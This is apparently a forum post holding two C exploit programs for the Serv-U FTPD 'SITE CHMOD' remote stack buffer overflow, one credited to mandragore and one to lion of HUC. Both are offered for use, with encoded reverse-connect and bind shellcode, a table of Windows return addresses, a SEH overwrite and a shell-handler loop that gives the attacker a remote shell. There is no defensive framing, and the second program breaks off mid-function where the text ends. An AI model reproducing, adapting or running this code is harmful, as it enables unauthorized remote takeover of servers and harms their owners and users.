Serv-U FTPD 4.x "SITE CHMOD" overflow Reverse bindshell expl

包子

1. #include <stdio.h>
   
2. #include <stdlib.h>
   
3. #include <sys/types.h>
   
4. #include <sys/socket.h>
   
5. #include <netinet/in.h>
   
6. #include <arpa/inet.h>
   
7. #include <unistd.h>
   
8. #include <netdb.h>
   
9. #include <fcntl.h>
   
10. #include <unistd.h>
    
11. #include <signal.h>
    
12. 
    
13. #define fatal(x) { perror(x); exit(1); }
    
14. 
    
15. unsigned char sc[]={
    
16. // reverse bindshell, 204 bytes, uses import table
    
17. 0x33,0xC0,0x04,0xB6,0x68,0xE2,0xFA,0xC3,0xCC,0x68,0x80,0x36,0x96,0x46,0x50,0x68,
    
18. 0x8B,0x34,0x24,0xB9,0xFF,0xD4,0xF2,0xF1,0x19,0x90,0x96,0x96,0x28,0x6E,0xE5,0xC9,
    
19. 0x96,0xFE,0xA5,0xA4,0x96,0x96,0xFE,0xE1,0xE5,0xA4,0xC9,0xC2,0x69,0x83,0xE2,0xE2,
    
20. 0xC9,0x96,0x01,0x0F,0xC4,0xC4,0xC4,0xC4,0xD4,0xC4,0xD4,0xC4,0x7E,0x9D,0x96,0x96,
    
21. 0x96,0xC1,0xC5,0xD7,0xC5,0xF9,0xF5,0xFD,0xF3,0xE2,0xD7,0x96,0xC1,0x69,0x80,0x69,
    
22. 0x46,0x05,0xFE,0xE9,0x96,0x96,0x97,0xFE,0x94,0x96,0x96,0xC6,0x1D,0x52,0xFC,0x86,
    
23. 0xC6,0xC5,0x7E,0x9E,0x96,0x96,0x96,0xF5,0xF9,0xF8,0xF8,0xF3,0xF5,0xE2,0x96,0xC1,
    
24. 0x69,0x80,0x69,0x46,0xFC,0x86,0xCF,0x1D,0x6A,0xC1,0x95,0x6F,0xC1,0x65,0x3D,0x1D,
    
25. 0xAA,0xB2,0xC6,0xC6,0xC6,0xFC,0x97,0xC6,0xC6,0x7E,0x92,0x96,0x96,0x96,0xF5,0xFB,
    
26. 0xF2,0x96,0xC6,0x7E,0x99,0x96,0x96,0x96,0xD5,0xE4,0xF3,0xF7,0xE2,0xF3,0xC6,0xE4,
    
27. 0xF9,0xF5,0xF3,0xE5,0xE5,0xD7,0x96,0x50,0x91,0xD2,0x51,0xD1,0xBA,0x97,0x97,0x96,
    
28. 0x96,0x15,0x51,0xAE,0x05,0x3D,0x3D,0x3D,0xF2,0xF1,0x37,0xA6,0x96,0x1D,0xD6,0x9A,
    
29. 0x1D,0xD6,0x8A,0x1D,0x96,0x69,0xE6,0x9E,0x69,0x80,0x69,0x46
    
30. };
    
31. 
    
32. char *user="anonymous";
    
33. char *pass="not@for.you";
    
34. char *path="/incoming";
    
35. 
    
36. int s, ret;
    
37. char *buff;
    
38. int verbose=0;
    
39. struct sockaddr_in saddr;
    
40. int lhost, lport=8888;
    
41. 
    
42. void usage(char *argv0) {
    
43. printf("usage: %s -d <ip_dest> [options]\n",argv0);
    
44. printf("options:\n");
    
45. printf(" -d target ip\n");
    
46. printf(" -p target port (default 21)\n");
    
47. printf(" -u username to log with (default %s)\n",user);
    
48. printf(" -s password to log with (default %s)\n",pass);
    
49. printf(" -w writable directory (default %s)\n",path);
    
50. printf(" -H listening host (default %s)\n", \
    
51. inet_ntoa(*(struct in_addr *)&lhost));
    
52. printf(" -P listening port on host (default %d)\n",lport);
    
53. printf(" -v verbose (set to 1 to enable)\n");
    
54. printf("\n");
    
55. exit(1);
    
56. }
    
57. 
    
58. void reads() {
    
59. fd_set fds;
    
60. struct timeval tv;
    
61. 
    
62. __next:
    
63. ret=recv(s,buff,4095,0);
    
64. memset(buff+ret,0,1);
    
65. if (verbose) printf("%s",buff);
    
66. 
    
67. FD_ZERO(&fds);
    
68. FD_SET(s,&fds);
    
69. tv.tv_sec = 1; tv.tv_usec = 0;
    
70. if (select(s+1, &fds, NULL, NULL, &tv)!=0)
    
71. goto __next;
    
72. }
    
73. 
    
74. int getip() {
    
75. char buff[17]="";
    
76. FILE *f;
    
77. 
    
78. f=popen("echo -n `/sbin/ifconfig|grep Bcast|" \
    
79. "gawk '{\\$0=gensub(/:/," ",1);print $3;exit;}'`","r");
    
80. fgets(buff,16,f);
    
81. pclose(f);
    
82. 
    
83. return inet_addr(buff);
    
84. }
    
85. 
    
86. void callback(int port) {
    
87. fd_set fds;
    
88. int s_len=sizeof(saddr);
    
89. int sn;
    
90. 
    
91. buff=(char *)malloc(4096);
    
92. 
    
93. saddr.sin_family = AF_INET;
    
94. saddr.sin_addr.s_addr = 0;
    
95. saddr.sin_port = htons(port);
    
96. printf("[.] setting up listener on port %d..\n",port);
    
97. s=socket(2,1,6);
    
98. ret=bind(s,(struct sockaddr *)&saddr, sizeof(saddr));
    
99. if (ret==-1) {
    
100. // we don't want to crash servu if not needed
     
101. perror("[-] shell.bind");
     
102. kill(getppid(),SIGUSR1);
     
103. exit(1);
     
104. }
     
105. listen(s,1);
     
106. sn=accept(s,(struct sockaddr *)&saddr,&s_len);
     
107. printf("[+] got connection from %s, entering shell..\n", \
     
108. inet_ntoa(*(struct in_addr *)&saddr.sin_addr.s_addr));
     
109. 
     
110. while(1) {
     
111. FD_ZERO(&fds);
     
112. FD_SET(0,&fds);
     
113. FD_SET(sn,&fds);
     
114. 
     
115. if (select(sn+1, &fds, NULL, NULL, NULL) < 0)
     
116. fatal("[-] shell.select ");
     
117. 
     
118. if (FD_ISSET(0,&fds)) {
     
119. ret = read(1,buff,4096);
     
120. send(sn,buff,ret,0);
     
121. }
     
122. 
     
123. if (FD_ISSET(sn,&fds)) {
     
124. if ( (ret=recv(sn,buff,4096,0)) < 1 )
     
125. fatal("[-] shell.recv");
     
126. write(1,buff,ret);
     
127. }
     
128. 
     
129. }
     
130. 
     
131. }
     
132. 
     
133. void killchild() {
     
134. printf("[-] got signal from parent, exiting.\n");
     
135. exit(1);
     
136. }
     
137. 
     
138. void killmain() {
     
139. printf("[-] got signal from child, exiting.\n");
     
140. exit(1);
     
141. }
     
142. 
     
143. int main(int argc, char **argv) {
     
144. short port=21;
     
145. int target=0;
     
146. int i, pid;
     
147. 
     
148. int delta=423;
     
149. int callebx=0x10077A92; // libeay32.dll
     
150. char jmpback[]="\xe9\xff\xfe\xff\xff\xeb\xf9\x90\x90"; // jmp -256
     
151. char chmod[]="SITE CHMOD 777 ";
     
152. 
     
153. printf("[%%] Serv-u v4.1.0.0 sploit by mandragore (v2)\n");
     
154. 
     
155. lhost=getip();
     
156. 
     
157. if (argc<2)
     
158. usage(argv[0]);
     
159. 
     
160. while((i = getopt(argc, argv, "d:p:u:s:w:H:P:v:"))!= EOF) {
     
161. switch (i) {
     
162. case 'd':
     
163. target=inet_addr(optarg);
     
164. break;
     
165. case 'p':
     
166. port=atoi(optarg);
     
167. break;
     
168. case 'u':
     
169. user=optarg;
     
170. break;
     
171. case 's':
     
172. pass=optarg;
     
173. break;
     
174. case 'w':
     
175. path=optarg;
     
176. break;
     
177. case 'H':
     
178. lhost=inet_addr(optarg);
     
179. break;
     
180. case 'P':
     
181. lport=atoi(optarg);
     
182. break;
     
183. case 'v':
     
184. verbose=atoi(optarg);
     
185. break;
     
186. default:
     
187. usage(argv[0]);
     
188. break;
     
189. }
     
190. }
     
191. 
     
192. if ((target==-1) || (lhost==-1) || (lhost==0))
     
193. usage(argv[0]);
     
194. 
     
195. printf("[.] if working you'll have a shell on %s:%d.\n", \
     
196. inet_ntoa(*(struct in_addr *)&lhost),lport);
     
197. printf("[.] launching attack on [url]ftp://%s:%s@%s:%d%s\n[/url]", \
     
198. user,pass,inet_ntoa(*(struct in_addr *)&target),port,path);
     
199. 
     
200. pid=fork();
     
201. switch(pid) {
     
202. case 0:
     
203. signal(SIGUSR1,killchild);
     
204. callback(lport);
     
205. break;
     
206. default:
     
207. signal(SIGUSR1,killmain);
     
208. break;
     
209. }
     
210. 
     
211. lport=lport ^ 0x9696;
     
212. lport=(lport & 0xff) << 8 | lport >>8;
     
213. memcpy(sc+0x5a,&lport,2);
     
214. 
     
215. lhost=lhost ^ 0x96969696;
     
216. memcpy(sc+0x53,&lhost,4);
     
217. 
     
218. buff=(char *)malloc(4096);
     
219. 
     
220. saddr.sin_family = AF_INET;
     
221. saddr.sin_addr.s_addr = target;
     
222. saddr.sin_port = htons(port);
     
223. 
     
224. s=socket(2,1,6);
     
225. 
     
226. ret=connect(s,(struct sockaddr *)&saddr, sizeof(saddr));
     
227. if (ret==-1) {
     
228. kill(pid,SIGUSR1); sleep(1);
     
229. fatal("[-] connect()");
     
230. }
     
231. reads();
     
232. 
     
233. sprintf(buff,"USER %s\r\n",user);
     
234. if (verbose) printf("%s",buff);
     
235. send(s,buff,strlen(buff),0);
     
236. 
     
237. reads();
     
238. 
     
239. sprintf(buff,"PASS %s\r\n",pass);
     
240. if (verbose) printf("%s",buff);
     
241. send(s,buff,strlen(buff),0);
     
242. 
     
243. reads();
     
244. 
     
245. if (strstr(buff,"230")==0) {
     
246. printf("[-] can't login\n");
     
247. exit(1);
     
248. } else
     
249. printf("[+] logged in.\n");
     
250. 
     
251. sprintf(buff,"CWD %s\r\n",path);
     
252. if (verbose) printf("%s",buff);
     
253. send(s,buff,strlen(buff),0);
     
254. 
     
255. reads();
     
256. 
     
257. // verify directory
     
258. sprintf(buff,"PWD\r\n",path);
     
259. send(s,buff,strlen(buff),0);
     
260. ret=recv(s,buff,1024,0);
     
261. memset(buff+ret,0,1);
     
262. i=strstr(buff+5,"\x22")-buff-5;
     
263. if (i!=1) i++; // trailing /
     
264. 
     
265. printf("[+] sending exploit..\n");
     
266. 
     
267. bzero(buff,4096);
     
268. memset(buff,0x90,600);
     
269. strcat(buff,"\r\n");
     
270. delta-=i; // strlen(path);
     
271. memcpy(buff,&chmod,strlen(chmod));
     
272. memcpy(buff+delta-9-strlen(sc),&sc,strlen(sc));
     
273. memcpy(buff+delta-9,&jmpback,5+4);
     
274. memcpy(buff+delta,&callebx,4);
     
275. 
     
276. send(s,buff,602,0);
     
277. 
     
278. ret=recv(s,buff,1024,0);
     
279. if ((ret==0) || (ret==-1)) {
     
280. kill(pid,SIGUSR1); sleep(1);
     
281. sleep(1);
     
282. fatal("[+] done");
     
283. }
     
284. 
     
285. printf("[-] remote servu isn't vulnerable.\n");
     
286. memset(buff+ret,0,1);
     
287. printf("%s",buff);
     
288. 
     
289. close(s);
     
290. 
     
291. exit(0);
     
292. }

复制代码

包子

1. /*
   
2. *-----------------------------------------------------------------------
   
3. *
   
4. * Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
   
5. * Remote stack buffer overflow exploit
   
6. *
   
7. * Copyright (C) 2004 HUC All Rights Reserved.
   
8. *
   
9. * Author   : lion
   
10. *          : [email]lion@cnhonker.net[/email]
    
11. *          : [url]http://www.cnhonker.com[/url]
    
12. * Date     : 2004-01-25
    
13. *          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
    
14. * Tested   : Windows 2000 Server EN/GB
    
15. *          :         + Serv-U v3.0.0.20~v4.1.0.11
    
16. * Notice   : *** Bug find by kkqq [email]kkqq@0x557.org[/email] ***
    
17. *          : *** You need a valid account and a writable directory. ***
    
18. * Complie  : cl Servu.c
    
19. * Usage           : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
    
20. *------------------------------------------------------------------------
    
21. */
    
22. 
    
23. #include <winsock2.h>
    
24. #include <windows.h>
    
25. #include <stdio.h>
    
26. #include <stdlib.h>
    
27. 
    
28. #pragma comment(lib, "ws2_32")
    
29. 
    
30. // for bind shellcode
    
31. #define BIND_OFFSET                91
    
32. 
    
33. // for connectback shellcode
    
34. #define PORT_OFFSET                95
    
35. #define IP_OFFSET                88
    
36. 
    
37. #define SEH_OFFSET                0x193        //v3.0.0.20~v4.1.0.11
    
38. //#define        SEH_OFFSET                0x133                   // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
    
39. #define MAX_LEN                        2048
    
40. #define JMP_OVER                "\xeb\x06\xeb\x06"
    
41. #define        VERSION                        "1.0"
    
42. 
    
43. struct
    
44. {
    
45.         DWORD        dwJMP;
    
46.         char        *szDescription;
    
47. }targets[] =
    
48. {
    
49.         {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K/XP  ALL"},                //for all GB win2000 and winxp
    
50. //        {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K     SP3/SP4"},        //wsock32.dll jmp ebx addr
    
51. //        {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11  GB     XP     SP0/SP1"},        //wsock32.dll jmp ebx addr
    
52. //        {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11  GB/BG  2K     SP4"},                //user32.dll jmp ebx addr
    
53.         {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K/XP  ALL"},                //for all BG win2000 and winxp       
    
54. //        {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K     SP4"},                //setupapi.dll jmp ebx addr
    
55.         {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11  KR     2K     SP4"},                //setupapi.dll jmp ebx addr
    
56.         {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11  EN     2K     SP4"},                //setupapi.dll jmp ebx addr
    
57.         {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11  EN     XP     SP1"},
    
58. //        {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},         
    
59. },v;
    
60. 
    
61. 
    
62. unsigned char        *szSend[4];
    
63. unsigned char        szCommand[MAX_LEN];
    
64. char                szDirectory[0x100];
    
65. 
    
66. // 28 bytes decode by lion, don't change this.
    
67. unsigned char decode[]=
    
68. "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
    
69. "\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";
    
70. 
    
71. // Shellcode start sign, use for decode, don't change this.
    
72. unsigned char sc_start[]=
    
73. "lion";
    
74. 
    
75. // Shellcode end sign, use for decode, don't change this.
    
76. unsigned char sc_end[]=
    
77. "li0n";
    
78. 
    
79. // 311 bytes bind shellcode by lion (xor with 0x93)
    
80. unsigned char sc[]=
    
81. "\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
    
82. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
    
83. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
    
84. "\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
    
85. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
    
86. "\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
    
87. "\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
    
88. "\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
    
89. "\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
    
90. "\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
    
91. "\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
    
92. "\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
    
93. "\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
    
94. "\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
    
95. "\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
    
96. "\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
    
97. "\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
    
98. "\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
    
99. "\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
    
100. "\xDA\x15\xDA\x74\xEA\x55\xEA";
     
101. 
     
102. // 294 bytes connectback shellcode by lion (xor with 0x93)
     
103. unsigned char cbsc[]=
     
104. "\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
     
105. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
     
106. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
     
107. "\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
     
108. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
     
109. "\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
     
110. "\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
     
111. "\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
     
112. "\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
     
113. "\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
     
114. "\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
     
115. "\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
     
116. "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
     
117. "\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
     
118. "\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
     
119. "\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
     
120. "\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
     
121. "\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
     
122. "\x39\xF3\x74\xEA\x55\xEA";
     
123. 
     
124. void usage(char *p)
     
125. {
     
126.         int        i;
     
127.         printf( "Usage:\t%s\t<-i ip> <-t type>\n"
     
128.                 "\t\t[-u user] [-p pass] [-d dir]\n"
     
129.                 "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
     
130.                 "[type]:\n" , p);       
     
131.         for(i=0;i<sizeof(targets)/sizeof(v);i++)
     
132.         {
     
133.                 printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
     
134.         }
     
135. }
     
136. 
     
137. /* ripped from TESO code and modifed by ey4s for win32 */
     
138. void shell (int sock)
     
139. {
     
140.         int     l;
     
141.         char    buf[512];
     
142.         struct        timeval time;
     
143.         unsigned long        ul[2];
     
144. 
     
145.         time.tv_sec = 1;
     
146.         time.tv_usec = 0;
     
147. 
     
148.         while (1)
     
149.         {
     
150.                 ul[0] = 1;
     
151.                 ul[1] = sock;
     
152. 
     
153.                 l = select (0, (fd_set *)&ul, NULL, NULL, &time);
     
154.                 if(l == 1)
     
155.                 {
     
156.                         l = recv (sock, buf, sizeof (buf), 0);
     
157.                         if (l <= 0)
     
158.                         {
     
159.                                 printf ("[-] Connection closed.\n");
     
160.                                 return;
     
161.                         }
     
162.                         l = write (1, buf, l);
     
163.                         if (l <= 0)
     
164.                         {
     
165.                                 printf ("[-] Connection closed.\n");
     
166.                                 return;
     
167.                         }
     
168.                 }
     
169.                 else
     
170.                 {
     
171.                         l = read (0, buf, sizeof (buf));
     
172.                         if (l <= 0)
     
173.                         {
     
174.                                 printf("[-] Connection closed.\n");
     
175.                                 return;
     
176.                         }
     
177.                         l = send(sock, buf, l, 0);
     
178.                         if (l <= 0)
     
179.                         {
     
180.                                 printf("[-] Connection closed.\n");
     
181.                                 return;
     
182.                         }
     
183.                 }
     
184.         }
     
185. }
     
186. 
     
187. void main(int argc, char **argv)
     
188. {
     
189.         struct        sockaddr_in sa, server, client;
     
190.         WSADATA        wsd;
     
191.         SOCKET        s, s2, s3;
     
192.         int        iErr, ret, len;
     
193.         char        szRecvBuff[MAX_LEN];
     
194.         int        i, j, iType;
     
195.         int        iPort=21;
     
196.         char        *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
     
197.         char        user[128], pass[128];
     
198.         BOOL        bCb=FALSE, bLocal=TRUE;
     
199.         unsigned short        shport=53, shport2=0;
     
200.         unsigned long        cbip;
     
201.         unsigned int        timeout=5000, Reuse;
     
202.         char        penetrate[255],cbHost2[20];
     
203.         int seh_offset;
     
204.        
     
205.         printf( "Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V%s\r\n"
     
206.                 "Bug find by kkqq [email]kkqq@0x557.org[/email], Code By lion (lion@cnhonker.net)\r\n"
     
207.                 "Welcome to HUC website [url]http://www.cnhonker.com\r\n\n[/url]"
     
208.                          , VERSION);
     
209. 
     
210.         seh_offset = SEH_OFFSET;
     
211.        
     
212.         if(argc < 4)
     
213.         {
     
214.                 usage(argv[0]);
     
215.                 return;
     
216.         }
     
217. 
     
218.         for(i=1;i<argc;i+=2)
     
219.         {
     
220.                 if(strlen(argv[i]) != 2)
     
221.                 {
     
222.                         usage(argv[0]);
     
223.                         return;
     
224.                 }
     
225.                 // check parameter
     
226.                 if(i == argc-1)
     
227.                 {
     
228.                         usage(argv[0]);
     
229.                         return;
     
230.                 }
     
231.                 switch(argv[i][1])
     
232.                 {
     
233.                         case 'i':
     
234.                                 ip=argv[i+1];
     
235.                                 break;
     
236.                         case 't':
     
237.                                 iType = atoi(argv[i+1]);
     
238.                                 break;
     
239.                         case 'f':
     
240.                                 iPort=atoi(argv[i+1]);
     
241.                                 break;
     
242.                         case 'p':
     
243.                                 pPass = argv[i+1];
     
244.                                 break;
     
245.                         case 'u':
     
246.                                 pUser=argv[i+1];
     
247.                                 break;
     
248.                         case 'c':
     
249.                                 cbHost=argv[i+1];
     
250.                                 bCb=TRUE;
     
251.                                 break;
     
252.                         case 's':
     
253.                                 shport=atoi(argv[i+1]);
     
254.                                 break;
     
255.                         case 'd':
     
256.                                 if(argv[i+1][0] != '/')
     
257.                                         strcpy(szDirectory, "/");
     
258.                                 strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
     
259.                                
     
260.                                 if(szDirectory[strlen(szDirectory)-1] != '/')
     
261.                                         strcat(szDirectory, "/");
     
262.                                        
     
263.                                 // correct the directory len
     
264.                                 for(j=0;j<(strlen(szDirectory)-1)%8;j++)
     
265.                                         strcat(szDirectory, "x");
     
266.                                        
     
267.                                 //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
     
268.                                 seh_offset = seh_offset - strlen(szDirectory)+1;
     
269.                                 break;
     
270.                 }
     
271.         }
     
272. 
     
273.         if((!ip) || (!user) || (!pass))
     
274.         {
     
275.                 usage(argv[0]);
     
276.                 printf("[-] Invalid parameter.\n");
     
277.                 return;
     
278.         }
     
279. 
     
280.         if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
     
281.         {
     
282.                 usage(argv[0]);
     
283.                 printf("[-] Invalid type.\n");
     
284.                 return;
     
285.         }
     
286. 
     
287.         if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
     
288.         {
     
289.                 usage(argv[0]);
     
290.                 printf("[-] Invalid port.\n");
     
291.                 return;
     
292.         }
     
293.        
     
294.         _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
     
295.         user[sizeof(user)-1]='\0';
     
296.         _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
     
297.         pass[sizeof(pass)-1]='\0';
     
298.         szSend[0] = user;        //user
     
299.         szSend[1] = pass;        //pass       
     
300.         szSend[2] = penetrate;        //pentrate
     
301.         szSend[3] = szCommand;        //shellcode
     
302.        
     
303.         // Penetrate through the firewall.
     
304.         if(bCb && shport > 1024)
     
305.         {
     
306.                 strncpy(cbHost2, cbHost, 20);
     
307.                 for(i=0;i<strlen(cbHost); i++)
     
308.                 {
     
309.                         if(cbHost[i] == '.')
     
310.                                 cbHost2[i] = ',';
     
311.                 }
     
312.                
     
313.                 sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);
     
314. 
     
315.                 //printf("%s", penetrate);
     
316.         }
     
317.         else
     
318.         {
     
319.                 sprintf(penetrate,"TYPE I\r\n");               
     
320.         }
     
321. 
     
322.         // fill the "site chmod" command
     
323.         strcpy(szCommand, "site chmod 777 ");
     
324.        
     
325.         // fill the directory
     
326.         if(szDirectory[0])
     
327.                 strcat(szCommand, szDirectory);
     
328. 
     
329.         // fill the egg
     
330.         for(i=0;i<seh_offset%8;i++)
     
331.                 strcat(szCommand, "\x90");
     
332.         //strcat(szCommand, "BBBB");
     
333.        
     
334.         // fill the seh
     
335.         for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
     
336.         {
     
337.                 strcat(szCommand, JMP_OVER);
     
338.                 memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
     
339.         }
     
340.                
     
341.         // fill the decode
     
342.         strcat(szCommand, decode);
     
343. 
     
344.         // fill the shellcode start        sign
     
345.         strcat(szCommand, sc_start);
     
346. 
     
347.         // fill the shellcode
     
348.         if(bCb)
     
349.         {
     
350.                 // connectback shellcode
     
351.                 shport2 = htons(shport)^(u_short)0x9393;
     
352.                 cbip = inet_addr(cbHost)^0x93939393;
     
353.                 memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
     
354.                 memcpy(&cbsc[IP_OFFSET], &cbip, 4);
     
355.                 strcat(szCommand, cbsc);               
     
356.         }
     
357.         else
     
358.         {
     
359.                 // bind shellcode
     
360.                 shport2 = htons(shport)^(u_short)0x9393;
     
361.                 memcpy(&sc[BIND_OFFSET], &shport2, 2);
     
362.                 strcat(szCommand, sc);
     
363.         }
     
364. 
     
365.         // fill the shellcode end sign
     
366.         strcat(szCommand, sc_end);
     
367. 
     
368.         // send end
     
369.         strcat(szCommand, "\r\n");
     
370. 
     
371.         if(strlen(szCommand) >= sizeof(szCommand))
     
372.         {
     
373.                 printf("[-] stack buffer overflow.\n");
     
374.                 return;
     
375.         }
     
376.        
     
377. //        printf("send size %d:%s", strlen(szCommand), szCommand);
     
378.        
     
379.         __try
     
380.         {
     
381.                 if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
     
382.                 {
     
383.                         printf("[-] WSAStartup error:%d\n", WSAGetLastError());
     
384.                         __leave;
     
385.                 }
     
386. 
     
387.                 s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     
388.                 if(s == INVALID_SOCKET)
     
389.                 {
     
390.                         printf("[-] Create socket failed:%d",GetLastError());
     
391.                         __leave;
     
392.                 }
     
393. 
     
394.                 sa.sin_family=AF_INET;
     
395.                 sa.sin_port=htons((USHORT)iPort);
     
396.                 sa.sin_addr.S_un.S_addr=inet_addr(ip);
     
397. 
     
398.                 setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
     
399.                 iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
     
400.                 if(iErr == SOCKET_ERROR)
     
401.                 {
     
402.                         printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
     
403.                         __leave;
     
404.                 }
     
405.                 printf("[+] Connect to %s:%d success.\n", ip, iPort);
     
406.                
     
407.                 if(bCb)
     
408.                 {
     
409.                         Sleep(500);
     
410.                         s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     
411. 
     
412.                         server.sin_family=AF_INET;
     
413.                         server.sin_addr.S_un.S_addr=inet_addr(cbHost);
     
414.                         //server.sin_addr.s_addr=INADDR_ANY;
     
415.                         server.sin_port=htons((unsigned short)shport);
     
416. 
     
417.                         setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
     
418. 
     
419.                         Reuse = 1;
     
420.                         setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));
     
421. 
     
422.                         if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
     
423.                         {
     
424.                                 printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
     
425.                                 printf("[-] You must run nc get the shell.\n");
     
426.                                 bLocal = FALSE;
     
427.                                 //closesocket(s2);
     
428.                                 //__leave;
     
429.                         }
     
430.                         else
     
431.                         {       
     
432.                                 printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
     
